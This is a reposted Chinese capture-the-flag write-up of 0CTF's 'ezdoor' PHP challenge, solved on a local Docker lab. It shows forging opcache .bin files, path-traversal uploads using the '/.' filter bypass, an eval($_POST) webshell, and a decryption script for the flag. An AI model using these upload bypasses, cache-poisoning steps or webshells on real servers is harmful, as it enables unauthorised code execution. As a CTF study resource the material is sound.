转载

0ctf-ezdoor

今天闲来无事,准备总结一下0ctf的ezdoor这题,反正现在的web是不可能纯web了,怎么都得带着点bin,干脆就从这题开始我的webin之路吧(滑稽)

环境搭建

这次环境搭建就比较友好了

出题大哥已经公布源码了(默默给大哥打call)

https://github.com/LyleMi/My-CTF-Challenges

使用方式也很简单

git clone https://github.com/LyleMi/My-CTF-Challenges.git

然后到dockerfile的目录下

docker build -t 0ctf-ezdoor .

build完成后

docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor

当然,如果Build处报错了,说不存在sandbox文件夹

可以在dockerfile里加一行

RUN mkdir /var/www/html/sandbox/

就可以解决啦

这次的环境搭建还算非常容易

然后访问

http://192.168.130.157:8585

即可看到题目

源码分析

代码不多,我直接全部给出了

<?php

error_reporting(0);

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
  mkdir($dir);
}
if(!file_exists($dir . "index.php")){
  touch($dir . "index.php");
}

function clear($dir)
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  }
  foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir);
}

switch ($_GET["action"] ?? "") {
  case 'pwd':
    echo $dir;
    break;
  case 'phpinfo':
    echo file_get_contents("phpinfo.txt");
    break;
  case 'reset':
    clear($dir);
    break;
  case 'time':
    echo time();
    break;
  case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break;
    }

    if ($_FILES['file']['size'] > 100000) {
      clear($dir);
      break;
    }

    $name = $dir . $_GET["name"];
    if (preg_match("/[^a-zA-Z0-9.//]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
      break;
    }
    move_uploaded_file($_FILES['file']['tmp_name'], $name);
    $size = 0;
    foreach (scandir($dir) as $file) {
      if (in_array($file, [".", ".."])) {
        continue;
      }
      $size += filesize($dir . $file);
    }
    if ($size > 100000) {
      clear($dir);
    }
    break;
  case 'shell':
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php";
    break;
  default:
    highlight_file(__FILE__);
    break;
}

先看前几行

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
  mkdir($dir);
}
if(!file_exists($dir . "index.php")){
  touch($dir . "index.php");
}

程序会在sandbox下根据你的ip创建一个文件夹

然后再在刚刚创建的文件夹中创建index.php文件

接下来是一个功能

function clear($dir)
{
  if(!is_dir($dir)){
    unlink($dir);
    return;
  }
  foreach (scandir($dir) as $file) {
    if (in_array($file, [".", ".."])) {
      continue;
    }
    unlink($dir . $file);
  }
  rmdir($dir);
}

即clear功能,简单来说

就是删除文件夹内内容

再删除文件夹

然后是一个switch选项

switch ($_GET["action"] ?? "") {
  case 'pwd':
    echo $dir;
    break;
  case 'phpinfo':
    echo file_get_contents("phpinfo.txt");
    break;
  case 'reset':
    clear($dir);
    break;
  case 'time':
    echo time();
    break;
  case 'upload':
    if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
      break;
  case 'shell':
    ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
    include $dir . "index.php";
    break;
  default:
    highlight_file(__FILE__);
    break;
    }

题目给出了6个选项:

1.打印你的路径
2.打印phpinfo信息
3.重置,即前面提到的clear功能,删除你的文件夹
4.时间,打印当前时间
5.上传,上传内容
6.shell包含,即包含你刚刚文件夹下的index.php文件

然后关于上传功能

if ($_FILES['file']['size'] > 100000) {
     clear($dir);
     break;
   }

   $name = $dir . $_GET["name"];
   if (preg_match("/[^a-zA-Z0-9.//]/", $name) ||
     stristr(pathinfo($name)["extension"], "h")) {
     break;
   }
   move_uploaded_file($_FILES['file']['tmp_name'], $name);
   $size = 0;
   foreach (scandir($dir) as $file) {
     if (in_array($file, [".", ".."])) {
       continue;
     }
     $size += filesize($dir . $file);
   }
   if ($size > 100000) {
     clear($dir);
   }
   break;

首先文件大小有限制,太大会触发clear功能清除文件夹

然后是对写入的文件名有限制,后缀中不可以出现h,这就意味着

php phtml phps...

等被过滤无法使用

然后利用move_uploaded_file移动文件

现在来看整个流程,不难读懂题目的意思

1.利用上传功能,覆盖index.php文件
2.利用shell包含功能,包含我们恶意覆盖的index.php文件
3.利用shell,根据flag文件路径进行读取

那么下面的思路就很明确了,如何覆盖index.php成为重中之重

预期解

phpinfo突破口

既然题目给出了phpinfo,那么一定里面藏着一些提示

我们在浏览phpinfo的时候可以看见

opcache.enable => On => On

opcache服务是正常开启的,那么opcache是什么呢?

opcache突破口

opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。

那么为什么opcache可以导致我们进行文件覆盖呢?

我们设想A网站:

A网站的网页index.php具有缓存文件index.php.bin

而访问index.php的时候加载缓存index.php.bin

倘若这时候具有上传,我们可以覆盖index.php.bin

是不是就会加载我们的恶意文件了呢?

题目中虽然过滤php类型的结尾,但是却未过滤bin的结尾

opcache文件构造思路

既然想要伪造opcache文件,就必须了解其规则问题

观察phpinfo我们可以发现如下信息

opcache.file_cache => /tmp/cache => /tmp/cache

不难发现opcache文件是保存在/tmp/cache目录下的

然后通过测试,我发现,实际目录是

/tmp/cache/system_id/.....

比如我以这题为例

我如果访问 /var/www/html/index.php文

则会生成opcache文件于

/tmp/cache/97d778899a99fd6d6a4b0b9e628322f5/var/www/html/index.php.bin

所以我们现在的目的也很明确了

构造一个

/tmp/cache/[system_id]/var/www/html/sandbox/[ip_remote_addr]/index.php.bin

即可

然后上传覆盖题目当前的空白的index.php.bin

即可达到恶意缓存覆盖,加载我们的index.php的目的

opcache-system_id

第一个问题是如何生成与题目一致的system_id

这里有个工具可以帮到忙

https://github.com/GoSecure/php7-opcache-override

其中使用样例说的很细致

$ ./system_id_scraper.py info.html
PHP version : 7.0.4-7ubuntu2
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea

即可生成system_id

这里我们去phpinfo搜集对应信息

PHP version : 7.0.28
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 7badddeddbd076fe8352e80d8ddf3e73

然后利用脚本即可轻松得到system_id

opcache文件生成

生成方式也很简单

用一个同样配置,同样php版本的相同环境

然后在相同目录下放置我们想要的php内容

<?php
echo '666';
?>

然后去访问该文件,即可在opcache目录下获得对应的缓存文件

知道了方法,我们先去看一下当前路径

http://192.168.130.157:8585/?action=pwd

可以获得

sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/

然后我们去自己搭建的环境中创建相同文件夹

然后放入index.php,访问,即可获得相应的opcache文件,即

index.php.bin

opcache-timestamp

这里还有一个问题,即opcache还有一个时间戳

在phpinfo里可以看见开启

opcache.validate_timestamps => On => On

相关的bypass方法,在这篇文章里已经有所提及

http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/

即获取到文件创建时的timestamp,然后写到cache的bin里面。

操作方法如下

import requests
print requests.get('http://192.168.130.157:8585/index.php?action=time').content
print requests.get('http://192.168.130.157:8585/index.php?action=reset').content
print requests.get('http://192.168.130.157:8585/index.php?action=time').content

然后我们修改opcache文件 index.php.bin 的数据

system_id
timestamps

两项,为我们之前预测出来的值即可

opcache-文件上传

然后我们构造上传路径

../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin

然后构造html表单

<formaction="http://192.168.130.157:8585/index.php?action=upload&name=../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin"method="post"enctype="multipart/form-data">
    <inputtype="file"name="file1"/>
    <inputtype="submit"/>
</form>
上传后再访问

http://192.168.130.157:8585/index.php?action=shell

发现文件覆盖包含成功,页面打印666

## 非预期解
### './'bypass
首先什么是`/.`
这是一种bypass手法
例如

index.php/.

这样的文件名去绕过检测
我们不妨测试
```php
<?php 
$name = 'index.php';
 if (preg_match("/[^a-zA-Z0-9.//]/", $name) ||
      stristr(pathinfo($name)["extension"], "h")) {
      echo "fuck";
    }
 ?>

此时运行打印fuck,而如果使用

index.php/.

则可以成功绕过

‘/.’原理分析

这里要从wonderkun师傅的博客说起

http://wonderkun.cc/index.html/?p=626

wonderkun师傅已经在文章中做了详细的阐述

其中php在文件路径处理上的底层关键代码函数tsrm_realpath()

i = len;  
// i的初始值为字符串的长度
 while (i > start && !IS_SLASH(path[i-1])) {
     i--;   
   // 把i定位到第一个/的后面
 }
 if (i == len ||
     (i == len - 1 && path[i] == '.')) {
     len = i - 1;  
    // 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php
     is_dir = 1;
     continue;
 } else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
     //删除路径结尾的 /..
     is_dir = 1;
     if (link_is_dir) {
         *link_is_dir = 1;
     }
     if (i - 1 <= start) {
         return start ? start : len;
     }
     j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);
    // 进行递归调用的时候,这里把strlen设置为了i-1,

php在做路径处理的时候,会递归的删除掉路径中存在的/.,所以会导致写入文件成功。

即导致

我们上传的文件名为

index.php/.

经过php的文件路径处理,我们不但bypass成功,上传的文件名依旧为

index.php

但是wonderkun师傅同时也在博客中提及

虽然 /. 可以bypass过滤上传成功,但是无法进行文件覆盖

关键原因师傅也提及的很明确了

这里同样摘录引用

1077 if (save && php_sys_lstat(path, &st) < 0) {
1078            if (use_realpath == CWD_REALPATH) {
1079                /* file not found */
1080                return -1;
1081            }
1082            /* continue resolution anyway but don't save result in the cache */
1083            save = 0;
1084        }
1120 if (save) {
1121                directory = S_ISDIR(st.st_mode);
1122                if (link_is_dir) {
1123                    *link_is_dir = directory;
1124                }
1125                if (is_dir && !directory) {
1125                    /* not a directory */
1127                    free_alloca(tmp, use_heap);
1128                    return -1;
1129                }
1130            }

php_sys_lstat 是一个宏定义,其实是系统函数 lstat ,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的 /. ,所以调用时传入的 path=/Users/wonderkun/script/php-src/sapi/cli/./index.php
当第一次执行时不存在index.php文件,函数 php_sys_lstat 返回-1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。

当第二次执行,覆盖老文件的时候, /Users/wonderkun/script/php-src/sapi/cli/./index.php 已经是一个存在的文件了,所以 php_sys_lstat 返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为 /Users/wonderkun/script/php-src/sapi/cli/./index.php/. 是一个目录(is_dir是1),现在有获取到 /Users/wonderkun/script/php-src/sapi/cli/./index.php 是一个文件,所以 is_dir && !directory 为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件。

那么问题来了,虽然 index.php/. 可以成功上传并且Bypass过滤,但是无法覆盖已经存在的空白文件 index.php 这该怎么办呢?

神奇的move_uploaded_file()

当时比赛的时候,我使用的payload为

sky/../index.php/.

当时简单的认为应该是 move_uploaded_file() 遇到前面不存在的文件夹而存在问题导致不存在的文件夹

sky

成为类似于跳板的东西,导致我们的

index.php/.

成功覆盖 index.php
而如果直接使用

/index.php/.

是不能够覆盖成功的,原因前面已经提及

但是后来看见pupiles师傅的一篇文章(下文已给出链接),发现 move_uploaded_file()index.php/. 的成功覆盖并不是我想的那么容易,这还是要从底层说起:

关于 move_uploaded_file() 的底层实现的关键代码

if (VCWD_RENAME(path, new_path) == 0) {
        successful = 1;
    } else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {
        VCWD_UNLINK(path);
        successful = 1;
    }

这里并未使用之前提及的tsrm_realpath()函数,并且如果文件已经存在的话,就不会再打开文件,于是php_sys_lstat会返回0。

而当时我们覆盖失败的原因正是因为

/Users/wonderkun/script/php-src/sapi/cli/./index.php

已经是一个存在的文件了,所以 php_sys_lstat 返回0

但是如果这个时候我们如果使用

sky/../index.php/.

即带有不存在文件夹的路径

那么在判断时也就不会判定存在该文件,所以此时 php_sys_lstat 返回的是-1,最后也导致了成功的覆盖了文件

当然我这里也只是简单的概述,若想要深入探究,可以阅读这两篇文章

http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
https://blog.zsxsoft.com/post/36

默默给两位大哥打call

payload

所以最后我们简单使用payload

skysky/../index.php/.

然后构造表单

<formaction="http://192.168.130.157:8585/index.php?action=upload&name=skysky/../index.php/."method="post"enctype="multipart/form-data">
    <inputtype="file"name="file1"/>
    <inputtype="submit"/>
</form>

上传数据内容为

<?php
echo '666';
?>

上传后再访问

http://192.168.130.157:8585/index.php?action=shell

发现文件覆盖包含成功,页面打印666

从shell到获取flag文件

index.php文件覆盖成功后,我们又遇到了新的问题

比如我们写如下shell

<?php
@eval($_POST['sky']);
?>

会发现包含后完全不起作用

这时候意识到题目做了许多过滤

一些类似系统命令的指令都被禁止了

随后发现部分php函数还在

var_dump()
scandir()

于是构造出Payload

<?php
var_dump(scandir('/var/www/html/flag'));
?>

可以发现flag文件夹下的文件

93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

本以为到此结束了,读取文件后发现竟然又是个opcache文件

故此我们顺利得到flag.php.bin

强行反编译

拿到题目后,首先发现opcache文件头有点问题,少了一个00

补上后继续利用工具

https://github.com/GoSecure/php7-opcache-override

进行反编译

首先按照库依赖

pip install construct==2.8.22
pip install treelib
pip install termcolor

这里需要注意一下construct的版本,否则会报错

然后利用工具进行反编译,操作如下

./opcache_disassembler.py -c -a64 flag.php.bin

然后得到反编译后的文件

function encrypt() {
  #0 !0 = RECV(None, None);
  #1 !0 = RECV(None, None);
  #2 DO_FCALL_BY_NAME(None, 'mt_srand');
  #3 SEND_VAL(1337, None);
  #4 (129)?(None, None);
  #5 ASSIGN(!0, '');
  #6 (121)?(!0, None);
  #7 ASSIGN(None, None);
  #8 (121)?(!0, None);
  #9 ASSIGN(None, None);
  #10 ASSIGN(None, 0);
  #11 JMP(->-24, None);
  #12 DO_FCALL_BY_NAME(None, 'chr');
  #13 DO_FCALL_BY_NAME(None, 'ord');
  #14 FETCH_DIM_R(!0, None);
  #15 (117)?(None, None);
  #16 (129)?(None, None);
  #17 DO_FCALL_BY_NAME(None, 'ord');
  #18 MOD(None, None);
  #19 FETCH_DIM_R(!0, None);
  #20 (117)?(None, None);
  #21 (129)?(None, None);
  #22 BW_XOR(None, None);
  #23 DO_FCALL_BY_NAME(None, 'mt_rand');
  #24 SEND_VAL(0, None);
  #25 SEND_VAL(255, None);
  #26 (129)?(None, None);
  #27 BW_XOR(None, None);
  #28 SEND_VAL(None, None);
  #29 (129)?(None, None);
  #30 ASSIGN_CONCAT(!0, None);
  #31 PRE_INC(None, None);
  #32 IS_SMALLER(None, None);
  #33 JMPNZ(None, ->134217662);
  #34 DO_FCALL_BY_NAME(None, 'encode');
  #35 (117)?(!0, None);
  #36 (130)?(None, None);
  #37 RETURN(None, None);

}
function encode() {
  #0 RECV(None, None);
  #1 ASSIGN(None, '');
  #2 ASSIGN(None, 0);
  #3 JMP(->-81, None);
  #4 DO_FCALL_BY_NAME(None, 'dechex');
  #5 DO_FCALL_BY_NAME(None, 'ord');
  #6 FETCH_DIM_R(None, None);
  #7 (117)?(None, None);
  #8 (129)?(None, None);
  #9 (117)?(None, None);
  #10 (129)?(None, None);
  #11 ASSIGN(None, None);
  #12 (121)?(None, None);
  #13 IS_EQUAL(None, 1);
  #14 JMPZ(None, ->-94);
  #15 CONCAT('0', None);
  #16 ASSIGN_CONCAT(None, None);
  #17 JMP(->-96, None);
  #18 ASSIGN_CONCAT(None, None);
  #19 PRE_INC(None, None);
  #20 (121)?(None, None);
  #21 IS_SMALLER(None, None);
  #22 JMPNZ(None, ->134217612);
  #23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);

详细可以参考

OPCode详解及汇编与反汇编原理,链接如下:

https://blog.csdn.net/sqzxwq/article/details/47786345

这里就不一步一步逆向了。。。毕竟我还是个web选手

最后给出逆向后的官方代码

<?php

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        if(strlen($tmp) == 1){
            $hex .= "0" . $tmp;
        }else{
            $hex .= $tmp;
        }
    }
    return $hex;
}

function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
        $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    return encode($cipher);
}

$flag = "input_your_flag_here";

if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") { 
    echo "Congratulation! You got it!";
} else {
    echo "Wrong Answer";
}

exit();

发现是个加密题

解密获得flag

我们研读加密函数encrypt()

function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
        $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    return encode($cipher);
}

发现关键点有2个

1.mt_srand(1337)
2.xor加密

然后跟进encode()函数

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        if(strlen($tmp) == 1){
            $hex .= "0" . $tmp;
        }else{
            $hex .= $tmp;
        }
    }
    return $hex;
}

发现只是用来保证16进制是2位的,比如

我们测试

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        var_dump($tmp);
    }

打印出来

string(2) "56"
string(2) "3a"
string(2) "c5"
string(1) "9"
string(2) "51"

可以看到第4个是”1”

所以需要在前面加个0,变成”01”

所以重点还是在于encrypt()函数

关注到之前的xor运算

$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

这里的 $pwd

this_is_a_very_secret_key

$data 为我们想要的值

此时我们有 $cipher

我们知道xor运算是可逆的

比如

$cipher[$i] = chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

我们可以得到

chr(ord($data[$i]) = $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));

故此可以拿到flag,所以只需要把密文当做明文,再进行一次encrypt()即可获得flag

我们测试

<?php

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        if(strlen($tmp) == 1){
            $hex .= "0" . $tmp;
        }else{
            $hex .= $tmp;
        }
    }
    return $hex;
}

function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
        $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    // return base64_encode($cipher);
    return encode($cipher);
}
$test = "flag{123456}";
echo encrypt("this_is_a_very_secret_key", $test);

得到密文

af8b20dc63d3349af9563a8f

我们尝试解密

<?php

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        if(strlen($tmp) == 1){
            $hex .= "0" . $tmp;
        }else{
            $hex .= $tmp;
        }
    }
    return $hex;
}

function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
        $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    // return base64_encode($cipher);
    return $cipher;
}

function hex2String($hex)
{
	$string = '';
	for($i=0;$i<strlen($hex)-1;$i+=2)
	{
		$string .= chr(hexdec($hex[$i].$hex[$i+1]));
	}
	return $string;
}
$res = hex2String('af8b20dc63d3349af9563a8f');
echo encrypt("this_is_a_very_secret_key", $res);

运行即可得到结果

flag{123456}

验证了解密思路无误后,开始解密题目

<?php

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        if(strlen($tmp) == 1){
            $hex .= "0" . $tmp;
        }else{
            $hex .= $tmp;
        }
    }
    return $hex;
}

function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
        $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    return $cipher;
}

$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';
function hex2String($hex)
{
	$string = '';
	for($i=0;$i<strlen($hex)-1;$i+=2)
	{
		$string .= chr(hexdec($hex[$i].$hex[$i+1]));
	}
	return $string;
}
$res = hex2String($flag);
echo encrypt("this_is_a_very_secret_key", $res);

结果发现结果得到的是乱码

后来题目给出提示

环境是php7.2,而我是php7.0

故此可能

mt_srand(1337);

种子产生影响而导致解密失败,于是安装php7.2

考虑到繁琐性,我这里使用docker

docker search php7.2

得到回显

skiychan/nginx-php7                       nginx-php7.2 for docker

很明显这个还不错,我们选择拉取

docker pull skiychan/nginx-php7

然后运行

docker run -dit -p 11111:80 skiychan/nginx-php7

然后进入

docker exec -it 9279 /bin/bash

然后进入

/data/www

修改Index.php为

<?php

function encode($string){
    $hex='';
    for ($i=0; $i < strlen($string); $i++){
        $tmp = dechex(ord($string[$i]));
        if(strlen($tmp) == 1){
            $hex .= "0" . $tmp;
        }else{
            $hex .= $tmp;
        }
    }
    return $hex;
}

function encrypt($pwd, $data){
    mt_srand(1337);
    $cipher = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < $data_length; $i++) {
        $cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
    }
    return $cipher;
}

$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';
function hex2String($hex)
{
	$string = '';
	for($i=0;$i<strlen($hex)-1;$i+=2)
	{
		$string .= chr(hexdec($hex[$i].$hex[$i+1]));
	}
	return $string;
}
$res = hex2String($flag);
echo encrypt("this_is_a_very_secret_key", $res);

访问

http://192.168.130.157:11111/

得到flag

flag{0pc4che_b4ckd00r_is_4_g0o6_ide4}

后记

大概总结一下流程

1.上传文件覆盖index.php

2.包含文件拿shell

3.读flag.php.bin

4.进行反编译

5.获得crypto代码

6.解密得到flag

其中涉及非预期:

/.的绕过过滤的覆盖问题

再次膜分析底层的大佬们

原文  http://skysec.top/2018/04/11/0ctf-ezdoor/
正文到此结束
Loading...